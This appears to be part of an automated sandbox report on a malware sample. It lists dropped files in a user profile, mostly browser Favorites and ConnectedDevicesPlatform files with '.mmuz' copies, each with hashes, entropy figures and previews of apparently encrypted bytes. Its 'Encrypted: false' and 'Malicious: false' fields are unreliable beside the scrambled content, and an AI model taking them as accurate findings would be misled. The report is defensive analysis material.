C:\Users\user\Favorites\Google.url

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.482855601554777
Encrypted:	false
SSDEEP:	12:/3mDqtCWUwLihz30grz+q14E98/8NlGY7Prgcii9a:fmqIw0z30p0JN0QkbD
MD5:	FF501B58A783C1ACA8BBBD2F89A3BF49
SHA1:	1FFC727C0FD2EE980764DAA2605594530148F96C
SHA-256:	854D578627BB9B9A788B2FB88D83AEA40807F61A84B0B70590FA3D319ECB1192
SHA-512:	A5EC56A7BA9B77E40AEC2BC981AECC107B67A4FE3C960A560187709EA5F417ECAE95603CC525228D4E1C6419954D512981CA5B54FB5D5221DC88EAAA1E616265
Malicious:	false
Preview:	[{000.]I.C..w)-?-.f.O....H.?.lsj.=,]>.V...9...P .0.~r...I.B.W......'.ip.h].w.#.?p].2.f..)\|....]_.5%....,.'t.<.pQ..X..!.&J6....'.x...1......K.4...d0p..UN...)"zT#..G.. .......9.=...no........;.b.....F...4-(8..7J..3c.UO..Q.7Q...N.K/.V.'....4k.L....4....R.N+.q..v....e=[K{\|....J.~.]......R..!Ch...5.......!..N}........vb.g...F5HX..7..=...y..Z+E.Xka.p.Kghq..i.\dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Google.url.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.482855601554777
Encrypted:	false
SSDEEP:	12:/3mDqtCWUwLihz30grz+q14E98/8NlGY7Prgcii9a:fmqIw0z30p0JN0QkbD
MD5:	FF501B58A783C1ACA8BBBD2F89A3BF49
SHA1:	1FFC727C0FD2EE980764DAA2605594530148F96C
SHA-256:	854D578627BB9B9A788B2FB88D83AEA40807F61A84B0B70590FA3D319ECB1192
SHA-512:	A5EC56A7BA9B77E40AEC2BC981AECC107B67A4FE3C960A560187709EA5F417ECAE95603CC525228D4E1C6419954D512981CA5B54FB5D5221DC88EAAA1E616265
Malicious:	false
Preview:	[{000.]I.C..w)-?-.f.O....H.?.lsj.=,]>.V...9...P .0.~r...I.B.W......'.ip.h].w.#.?p].2.f..)\|....]_.5%....,.'t.<.pQ..X..!.&J6....'.x...1......K.4...d0p..UN...)"zT#..G.. .......9.=...no........;.b.....F...4-(8..7J..3c.UO..Q.7Q...N.K/.V.'....4k.L....4....R.N+.q..v....e=[K{\|....J.~.]......R..!Ch...5.......!..N}........vb.g...F5HX..7..=...y..Z+E.Xka.p.Kghq..i.\dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.4512717234231856
Encrypted:	false
SSDEEP:	12:2V7bwLLY4/3MdPjmdVfTUdnjNWNfWBEPrgcii9a:c3wvY4fEjIZkbD
MD5:	A7433A83AC2B607DEDCEEF3EA2663499
SHA1:	5498A51C6DC82E1BE0616A3EF92FDC44139FB4C5
SHA-256:	A6BCB5758298F08B17AA2A1FD346F69F0921204B2991347341143AC88B2583F9
SHA-512:	3017BD7EFCB0F67A854086E27CE185CE2A7A87FCEF2FFDAE358F073BF3BC56F1DB3281ABA4A4B54B566687CA2BE3CC3650DA7402A9B3BA48D88379A096ADA708
Malicious:	false
Preview:	[{000......{.r.G...]vs.\.1...'2...m].7.fyF}.....8Y.!.:.u. K.D.M\|.2..\(.J...K..I.....-.@a...&n..Mj.@.$.[/`Vl..ks......D9Q..rH.....L..A...iW....."...Gr....-..H.E.~T........a"31......dc..f{..P(.....E...,5.#.....2.....K.-.T...X.gg.......o...M......b~..y...S...2s..5....6 ...#...sd.Q..y..{.]../.O.jC?...Ck....X...F..L...>.>+....8.T...w..>.@n.W.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Live.url.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	443
Entropy (8bit):	7.4512717234231856
Encrypted:	false
SSDEEP:	12:2V7bwLLY4/3MdPjmdVfTUdnjNWNfWBEPrgcii9a:c3wvY4fEjIZkbD
MD5:	A7433A83AC2B607DEDCEEF3EA2663499
SHA1:	5498A51C6DC82E1BE0616A3EF92FDC44139FB4C5
SHA-256:	A6BCB5758298F08B17AA2A1FD346F69F0921204B2991347341143AC88B2583F9
SHA-512:	3017BD7EFCB0F67A854086E27CE185CE2A7A87FCEF2FFDAE358F073BF3BC56F1DB3281ABA4A4B54B566687CA2BE3CC3650DA7402A9B3BA48D88379A096ADA708
Malicious:	false
Preview:	[{000......{.r.G...]vs.\.1...'2...m].7.fyF}.....8Y.!.:.u. K.D.M\|.2..\(.J...K..I.....-.@a...&n..Mj.@.$.[/`Vl..ks......D9Q..rH.....L..A...iW....."...Gr....-..H.E.~T........a"31......dc..f{..P(.....E...,5.#.....2.....K.-.T...X.gg.......o...M......b~..y...S...2s..5....6 ...#...sd.Q..y..{.]../.O.jC?...Ck....X...F..L...>.>+....8.T...w..>.@n.W.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4226792037993805
Encrypted:	false
SSDEEP:	12:Yg2R8CwqnsMcduomRCJqjbLuUrPEORIs7Prgcii9a:YJRBouom4ZU5RlkbD
MD5:	4210826F694F73F1ED8CF1A232B616B5
SHA1:	71FE3A0112A46C4A581E9BAA6CF09AB03DB02623
SHA-256:	10303A47C5369A8B7633257D040844C394B0087DA6902D956D23DE4BCC2FCF11
SHA-512:	95D78F995F925B4D628B4D59A13C4B7565393C056CF5DCC9941864A0CC7F2606BC24D9A8244FB13798F57A3D154A271F1C159EF638F096231D7B5383662B9418
Malicious:	false
Preview:	[{000.tU3Fq.._.z........ry%HM......T..X.....;A..N..z...N.KN2.......`.>..C..<...y.....tz.au..e...."....$...y..k.E$......r....t....s.U..q.Cv..x...u..../_W.\T3.RV..>.I...iA..g.B.XT=Y.ou...\...o.(.}.@E./H.....n.V.b.U(5.wDs..H...:..\|.".M.G.p..:......@mnF.....;..u..........Q+@c.V.A..wl.e.a.X.4Hd.IR.]V.ZJ"7......p.U.?o.J...[#.b/9.)(#..)w)...i.$..Y$r....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\NYTimes.url.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.4226792037993805
Encrypted:	false
SSDEEP:	12:Yg2R8CwqnsMcduomRCJqjbLuUrPEORIs7Prgcii9a:YJRBouom4ZU5RlkbD
MD5:	4210826F694F73F1ED8CF1A232B616B5
SHA1:	71FE3A0112A46C4A581E9BAA6CF09AB03DB02623
SHA-256:	10303A47C5369A8B7633257D040844C394B0087DA6902D956D23DE4BCC2FCF11
SHA-512:	95D78F995F925B4D628B4D59A13C4B7565393C056CF5DCC9941864A0CC7F2606BC24D9A8244FB13798F57A3D154A271F1C159EF638F096231D7B5383662B9418
Malicious:	false
Preview:	[{000.tU3Fq.._.z........ry%HM......T..X.....;A..N..z...N.KN2.......`.>..C..<...y.....tz.au..e...."....$...y..k.E$......r....t....s.U..q.Cv..x...u..../_W.\T3.RV..>.I...iA..g.B.XT=Y.ou...\...o.(.}.@E./H.....n.V.b.U(5.wDs..H...:..\|.".M.G.p..:......@mnF.....;..u..........Q+@c.V.A..wl.e.a.X.4Hd.IR.]V.ZJ"7......p.U.?o.J...[#.b/9.)(#..)w)...i.$..Y$r....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.441376871095243
Encrypted:	false
SSDEEP:	12:P+LwOFfunAULb728X4Sjtk21Y22QF/Tho3Prgcii9a:8J5gbyG9jOw206/kbD
MD5:	D387FB26068F144F89715ED8F0CCAE29
SHA1:	A76F5D2F5A52A00FB264F98F02E5137A23041F0E
SHA-256:	9068F3EAD584F698A479A82C3A36AEEE40BA8A2915A60E3B9C8B3EEEEBB427CC
SHA-512:	68B65FA454EE273AA01BE38055A7276AC7AB7F87EB1ACF4ABA9A9323F8F22F23F411BD34A43B9FF6FB405324304A1A697AAAECB08B80490F175DDEF6B0BED8D9
Malicious:	false
Preview:	[{000.R..m...#m.5..$.K[,.M..'.z.V....:L\.....dU.........-.j.,.L...w.......c...cD.Zq.Y.`..&..^M..L...ya..i7S.lD(.I....E.e*.$..Q...^J......3zNwq.W4..H\c.e..R..,.G.G.03P.7K..-.Q5..7.yk...}rM.3....I.K..E....2;E<4w.l.....3.4...gQ..(..%.W...6<.p>r...A+...3W......\|...w.;......$r.V.T..@.....8[.k,(. .F0="..M?um...1f.}....W......'.aIn..L.....8.'x...].('k+..R.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Reddit.url.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	445
Entropy (8bit):	7.441376871095243
Encrypted:	false
SSDEEP:	12:P+LwOFfunAULb728X4Sjtk21Y22QF/Tho3Prgcii9a:8J5gbyG9jOw206/kbD
MD5:	D387FB26068F144F89715ED8F0CCAE29
SHA1:	A76F5D2F5A52A00FB264F98F02E5137A23041F0E
SHA-256:	9068F3EAD584F698A479A82C3A36AEEE40BA8A2915A60E3B9C8B3EEEEBB427CC
SHA-512:	68B65FA454EE273AA01BE38055A7276AC7AB7F87EB1ACF4ABA9A9323F8F22F23F411BD34A43B9FF6FB405324304A1A697AAAECB08B80490F175DDEF6B0BED8D9
Malicious:	false
Preview:	[{000.R..m...#m.5..$.K[,.M..'.z.V....:L\.....dU.........-.j.,.L...w.......c...cD.Zq.Y.`..&..^M..L...ya..i7S.lD(.I....E.e*.$..Q...^J......3zNwq.W4..H\c.e..R..,.G.G.03P.7K..-.Q5..7.yk...}rM.3....I.K..E....2;E<4w.l.....3.4...gQ..(..%.W...6<.p>r...A+...3W......\|...w.;......$r.V.T..@.....8[.k,(. .F0="..M?um...1f.}....W......'.aIn..L.....8.'x...].('k+..R.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.377158261259047
Encrypted:	false
SSDEEP:	12:MRgdeLT4rDtLabQ9h/4vcjJvzFBfpPCNPrgcii9a:Mq0v49aU98cdXSkbD
MD5:	6E17A80CE8AD352FF5B8AEC18F020253
SHA1:	3CF2D3234007067AB9AAE610AEAABFB4E7EF4594
SHA-256:	9E7EA6374B994DA28F9082A3D5B95D3BEB656FB0BA28E25B85871B65A5B9316B
SHA-512:	7CB7D961D82E56D4451800BCF9180F99A777B8CAC746A4B75D929D4D7F9623FBD2E9FBF63AA37C9E4AB9B96B046CC0482F4FFCFF67C145548FAC9919B268EEC9
Malicious:	false
Preview:	[{000}y5.ot-1.....PZs.....t.}1u..&.J...j.*...,.L..[.. ...u.....ra...eTO............B...Y......]...:;..)..K.\.E.u.....w .............D(..S.0.C.Ag]d.^[.....+...O.Ur+s...y.f....u..t....G\|_t..N..G.....[.Nj4De=.X.-1..s{.A..._...b.m...&c].....%MG...{=}...{..&...9q.o#.E....6..0.W..f.....G......Cy..xk..X..R@A...,....g...l..x\|B....).0O..(R+..........Be..N.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Twitter.url.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.377158261259047
Encrypted:	false
SSDEEP:	12:MRgdeLT4rDtLabQ9h/4vcjJvzFBfpPCNPrgcii9a:Mq0v49aU98cdXSkbD
MD5:	6E17A80CE8AD352FF5B8AEC18F020253
SHA1:	3CF2D3234007067AB9AAE610AEAABFB4E7EF4594
SHA-256:	9E7EA6374B994DA28F9082A3D5B95D3BEB656FB0BA28E25B85871B65A5B9316B
SHA-512:	7CB7D961D82E56D4451800BCF9180F99A777B8CAC746A4B75D929D4D7F9623FBD2E9FBF63AA37C9E4AB9B96B046CC0482F4FFCFF67C145548FAC9919B268EEC9
Malicious:	false
Preview:	[{000}y5.ot-1.....PZs.....t.}1u..&.J...j.*...,.L..[.. ...u.....ra...eTO............B...Y......]...:;..)..K.\.E.u.....w .............D(..S.0.C.Ag]d.^[.....+...O.Ur+s...y.f....u..t....G\|_t..N..G.....[.Nj4De=.X.-1..s{.A..._...b.m...&c].....%MG...{=}...{..&...9q.o#.E....6..0.W..f.....G......Cy..xk..X..R@A...,....g...l..x\|B....).0O..(R+..........Be..N.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.435280871984825
Encrypted:	false
SSDEEP:	12:e/7l1azHqXEd0SBlkBu9Zj1fX7Prgcii9a:O2zKXEKQlkBYjNjkbD
MD5:	903260ADA9DF83467CD027D03EBC3B00
SHA1:	65DAC037E567222C552C8CDFD62749876FFF9243
SHA-256:	142669373E12E2BE97FFB6DCBA8A4F1FFFB720331444457DD2813D7C57D5AD99
SHA-512:	5B6B472DA3A3BDCDA3E86E45D2B31C23B29F1685D393C0DB17518E8F6ABCA04694D4B8D5C492965B8F28CF2C80E76A9BC804942F3315053A4559BD8100B03313
Malicious:	false
Preview:	[{000.H.(P.0E...\|.s....j..........T.#.-q7.!.....o.).....[o.{...'......:..M.....x.3..(.-..N!.T.S .=vG_..gJc~.+..m.A..d.y`.,......K3.?>"a.....o..Y.e..N.6..c.{Y/%..."N.P.S0X/.^.....,Q.V7..@6...u..h..c\|.<.tLU\./....U.xC.........u.m...}.E3x[~..Z...zS.2Z..6..^......@...]..b`.,\|.%.1..;i..Z].....E.F..Q9..#3..D.T...~.o..g.WT........\|..pcX0..A..3.X.;.1..(...BdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Wikipedia.url.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	448
Entropy (8bit):	7.435280871984825
Encrypted:	false
SSDEEP:	12:e/7l1azHqXEd0SBlkBu9Zj1fX7Prgcii9a:O2zKXEKQlkBYjNjkbD
MD5:	903260ADA9DF83467CD027D03EBC3B00
SHA1:	65DAC037E567222C552C8CDFD62749876FFF9243
SHA-256:	142669373E12E2BE97FFB6DCBA8A4F1FFFB720331444457DD2813D7C57D5AD99
SHA-512:	5B6B472DA3A3BDCDA3E86E45D2B31C23B29F1685D393C0DB17518E8F6ABCA04694D4B8D5C492965B8F28CF2C80E76A9BC804942F3315053A4559BD8100B03313
Malicious:	false
Preview:	[{000.H.(P.0E...\|.s....j..........T.#.-q7.!.....o.).....[o.{...'......:..M.....x.3..(.-..N!.T.S .=vG_..gJc~.+..m.A..d.y`.,......K3.?>"a.....o..Y.e..N.6..c.{Y/%..."N.P.S0X/.^.....,Q.V7..@6...u..h..c\|.<.tLU\./....U.xC.........u.m...}.E3x[~..Z...zS.2Z..6..^......@...]..b`.,\|.%.1..;i..Z].....E.F..Q9..#3..D.T...~.o..g.WT........\|..pcX0..A..3.X.;.1..(...BdYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.424799565159651
Encrypted:	false
SSDEEP:	12:B+kCOMy8OD+9NwZ17RRixcmf9gK7VCAk/7Prgcii9a:BbC9OiDwZR0gK787kbD
MD5:	C059A84DD5BB48A76AE98C1A51EE6F54
SHA1:	70B4F84E2EFC173962089C5A50FF9BAD046835C0
SHA-256:	3D0338151A91434EBFDCEAC7D121F6970BE8D16BC0F9DF30184FD368ED3FD5EB
SHA-512:	AC39BD2359500E9C4B8707AA33FC2E15655507ACBA52BB609BE536B4445DCC096758BEA035651AE25D7F4A4AC5EF695B5CC6B30448E22AD9CD5482904589D629
Malicious:	false
Preview:	[{000.E.k3.E.?pA...zb.......!D*..U~9....\....]R...1....P..Z.mT.nU..j...[.<&C.h2.Nm..g..j..P+K.a."R.6@....W=#T..y....(.y...!.4..\9U...P5......P..M....PB.T...W...,Q...-4.&..?..{ryE...fA..~..$.......:.#I..........:..d....js.uu..j.Q.,...\|.[......DhV...39...q.h..IK...Z.v.)......T0QV.....0.;0Uw.Xc.RlT....J. .....P."..?`1-..sa.....1}'eP..v@.../\....q.'X..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Favorites\Youtube.url.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.424799565159651
Encrypted:	false
SSDEEP:	12:B+kCOMy8OD+9NwZ17RRixcmf9gK7VCAk/7Prgcii9a:BbC9OiDwZR0gK787kbD
MD5:	C059A84DD5BB48A76AE98C1A51EE6F54
SHA1:	70B4F84E2EFC173962089C5A50FF9BAD046835C0
SHA-256:	3D0338151A91434EBFDCEAC7D121F6970BE8D16BC0F9DF30184FD368ED3FD5EB
SHA-512:	AC39BD2359500E9C4B8707AA33FC2E15655507ACBA52BB609BE536B4445DCC096758BEA035651AE25D7F4A4AC5EF695B5CC6B30448E22AD9CD5482904589D629
Malicious:	false
Preview:	[{000.E.k3.E.?pA...zb.......!D*..U~9....\....]R...1....P..Z.mT.nU..j...[.<&C.h2.Nm..g..j..P+K.a."R.6@....W=#T..y....(.y...!.4..\9U...P5......P..M....PB.T...W...,Q...-4.&..?..{ryE...fA..~..$.......:.#I..........:..d....js.uu..j.Q.,...\|.[......DhV...39...q.h..IK...Z.v.)......T0QV.....0.;0Uw.Xc.RlT....J. .....P."..?`1-..sa.....1}'eP..v@.../\....q.'X..dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\.curlrc.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	342
Entropy (8bit):	7.196097911187607
Encrypted:	false
SSDEEP:	6:KW9oVjSBi1nyx0OOZreNcrNS7woHfL7wjnjhLD5sf2hFPebugcii96Z:NeVmBi1nyCOOJeNaZOHWnjhLN+UFPrgX
MD5:	B128E9CDB7F57DE1005912D4320AFBBA
SHA1:	598CB52E6AEE23B3220599975C28BBACB38942D3
SHA-256:	3ADA6C4FD0E27E55140A16064CD0130AD3F629746246FB21CCB500D48F820750
SHA-512:	2EF1751F069E7D24F935C08ECDB57E94D1D63BAFC1CD62B02AF17926C3C32F024916F11C828F74338FD8758D80F1C928FD4FC46766D959AC6874F280298D1DEA
Malicious:	false
Preview:	insec$'5.4P...$M/.....y4..k.S-..F.&.p.v...%..?.H..L.q........u..!..fL.X.Kqp.^y....D....9..._(...w..Os.E.4=....h.......hy.G..w..v...*.1gAO..V...^....V.K..B...W...)ah_E.......M......i..FC...'....5........b....^>.Z.W...\|.o........XG_.^..$9<.......9rT.l.dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\ConnectedDevicesPlatform\CDPGlobalSettings.cdp.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	5199
Entropy (8bit):	7.962582027746403
Encrypted:	false
SSDEEP:	96:0+GijaUtJ0X7Iwg6KQUtTZ1uAVDy7dt1ETJSlIiZcv7hchtk3H:HGZUD0rvgzJVO7dvETIGiSFWkX
MD5:	C0FDA165371A97B4697D1619A28F45F6
SHA1:	0AFA8CA1B1AFD1E6AE241D85243CBD75F864CEA5
SHA-256:	3452B4010EBC1383617DE07C149FE152EA9ACD67517588A6339A35164EB9AEB7
SHA-512:	2C6CB036BB92F9F8E178365236555D3523C6A9E492EDDCAE0F9A63BA177CA79450464603F32465A72F1DBA743F348DD51EBCB5308961BC6CAAB7A4F96D3AF1B2
Malicious:	false
Preview:	.{...%,.^Evm37.J']..;...+(.H._.K.(..P..h.........7U.....3.....,.(...6.q..v.....W.T.Qo.;.R-Sz.XV..X.$.l ..N.J......U...8..m..C..@U...M..;i.`....*>=x.t..0R..l.I.0.....n.:W{.F.3......5z..y.:..;3...._}.,.V.}..%...>...uy.,.......1o..7^qb.'S.L..t]......m^..........S..l.........{....`9...ii9%&..g%E.3...B....0B..4..o.M..u.! .....xD..(GH..O.....0...........].mA.T/4[lU....-..da...i2sC.i.Z;.9...b.. .-&..'.D~...q...=~+..1.M.F..>F.n`.W.....y.T.<..<p...w3./.A..\|.>#...hnN..M....a...d..~.7=.dC......-..}...a.`.....!..:.ivV3......U....h..S.....8(../.3X..54....!..P.Og.-.......[D.).D.d..~..'.".^+..R.U.......{.%...c...c.....%+...Fy...Mk\|q......`..i....c&9.D.....3......M~..O......I..)..h.\|.@..t...&...t.d.'...\...r....@....F...K..0@.....d.b.N..o`.W0..._ .g...\M..@.......c..3.)V..A ..B&y.b..l\|6....W..RBR.r[....4$.e=.....(4.R...F..~...1..qR.....:.3.Y.......XHv5...n.n..Z.......a.j.\|.c{.v..:N.<.o....F#..8c .N#.L.o..K^G.jDL...2..Mp7Lb..ce=....<+....h....Q...$q..f.

C:\Users\user\Local Settings\ConnectedDevicesPlatform\Connected Devices Platform certificates.sst.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	987
Entropy (8bit):	7.7788357699207085
Encrypted:	false
SSDEEP:	24:T4/IY4v+RZqJLrl4aJ4UUYdWBGMfYt1Ry3j1n2r9e1oivkbD:TCIH1v4bYFMfyRyzZ2M32D
MD5:	453CE311FCA41BE7A2AA43BB8803C6AE
SHA1:	96A95135C69C3E03F1FD0232FD0813CADE7F2B21
SHA-256:	22A351998A101950CA01C993BF1B5317597D00A60B175A4263425FA008D2B686
SHA-512:	F2528C201DCCE43373811C5BB8964F3EFD354CBFE3F1D5FDF7E3A86D22ABFECAAE096B1B7E001B39794677EF9E4A9778FE82DF5D0E789161A862182FDB9BCC5B
Malicious:	false
Preview:	....C.r%.J>.:i......}1......G.+...".z....e..+....n.Y.........>w.X.....td..X..8..o\7......x...]d..nnuz.hW83. ...r.c.H6..^.......L.3X.:xo ......4Y.....,y..]..P.d.\....i.=+@D<5.[..o..#..2...!...D.QxR...F...^...G....^g.DE.bI?..2.:RC38..$..X +...S.~./)d....a7..}...........!........5D....K..1R....@W....U._.n.H.......n........4....y\Xc'........rXv.K.......).8qy.t9F..a{k.Wi....0.+...V.Y..\.Q.........}..[.Q.%..0.....}g.sX4.....M.. 5dri.._.zz...p..../;...lU.."L].....$....}!...Do.64....0.(......v.....4(..M..w........R....^.@......R.l...8.{..d1X.,.....{r.%t.(y....g....\|...^Q...V@}........n_5-1jZ...$;.E.l.<.~..9.V.Q..{...K.(o.....Q.!.<....i........k%..4(d.....?l......I3.Q...8..m:...\|33...A.C.7.+-]M.$.K.1x#ER..K,....r .-n....B=...&B..a..+jV.6...f.{W4.....X./.m.V%.=e'...4F..x.%.........V.;.R.....:..iN(f...Y...G/......A_..x.......A.....ZoR...qJ#].N..-M.&mO8....dYUDKE4rrBmSPsf8srHMsyP40jle9uyxDDCfdxt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdp.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	7.842293611999591
Encrypted:	false
SSDEEP:	24:Tu1jUsUq8EWw9UcRmcrwHwkPQiFuXSIez7jZw9rfZqXrU+GLChbkbD:IjbUq8/BrcrerPQoz7e5IWCqD
MD5:	2513491CB9CE65DE6F797AE7DEC1FF5F
SHA1:	D14461F06849046A12686EEF3B6B73AA703B29FA
SHA-256:	984AD6C01419E590F1BA1EF9F07CEBA372EC3D6769467267D4D822343BD375CC
SHA-512:	6DB4E3938AEFA4DFA2F8E3B52655CCFFF28D1B721548D0455CDB083D3C4E84A0B31F31DFFC5DCACF2F91B853EB188E581C1CA1CA2AE244660F994C7284A37F9E
Malicious:	false
Preview:	.{.d...<...\w".\|J..~.G.Z...l......L..\|{.z...3.....E..%..b.\|....8eI...?...C.V....Sv..4.F>N.; /.t.y.#8.=}....fn.(y.R(.?..)../...6..J..Q.....?t....;KO.F.....'3...]...3j./;.!.V....`(.k..+dV.IYX..............a..{..IO.U.d.....uvPy.j..Z=U..X....E.7....QZ.o...........+<(......1....9.N.Tw.$..s..e%..O..r<.a2.n.qp.i.#.I....n....5Z..H.[....".y"..yK....Bl.m.t..@8.....sEN..z+])L.CS6S....!v`.z.5..gg.....w....w..g..Z"...A........rF.f=.........3.o$..m..........qW...1.U..K....H..h.f...:.Y..T9........SKF...@.....@\.el...D>0..0.nh..[...=J)!D........;....qu.8VB%..`.}..f...7.....Rh...mx...[L.B..]8..cVK......H..+P.rj.J......%......G.V......M](...:`.7...c..+Q}....WD..vj..kiD.{.@E..+........_....Dc._..=...V.\.4.... ...q"..<M@j.r.b.3-.%!z..2.#.i ...8...J.o(......-t.w........&8v..i..H.....ff...;._...-G....z......Fj.&....).....'&....Tmr..r....e...-.....a.....d?.,.F.d....!9.k.ND*.c...n....vI...g...s:E......Z4..r.?.)]u..~..4.z.%6.@Rz..9...U..... "9.pw..53i.

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdpresource.mmuz (copy)

Download File

Process:	C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.283181787198766
Encrypted:	false
SSDEEP:	6:bsKvozQQ8ledj0yulAg427tH+CFUH5hCLzhN63W7SKlswNLw7Pebugcii96Z:nozQXedwzAgiXehNQWLlsv7Prgcii9a
MD5:	9AD301F0A2A5DCBA44A0A573D0226C4D
SHA1:	AF55D0C6F083E99E388D973D3E877A08F2A003D4
SHA-256:	C8271812545C675784D33D3BCB5506A2811A6E52A847045C762E8E973455620A
SHA-512:	FDF6C40D337D4FBECA2E3413EF3C160AD7B7829E203A4A3B32D6A857C8C475CB8EDBA671DFB7C214E29682727AE8FDE1F285CFD649620171410AE8790855154F
Malicious:	false
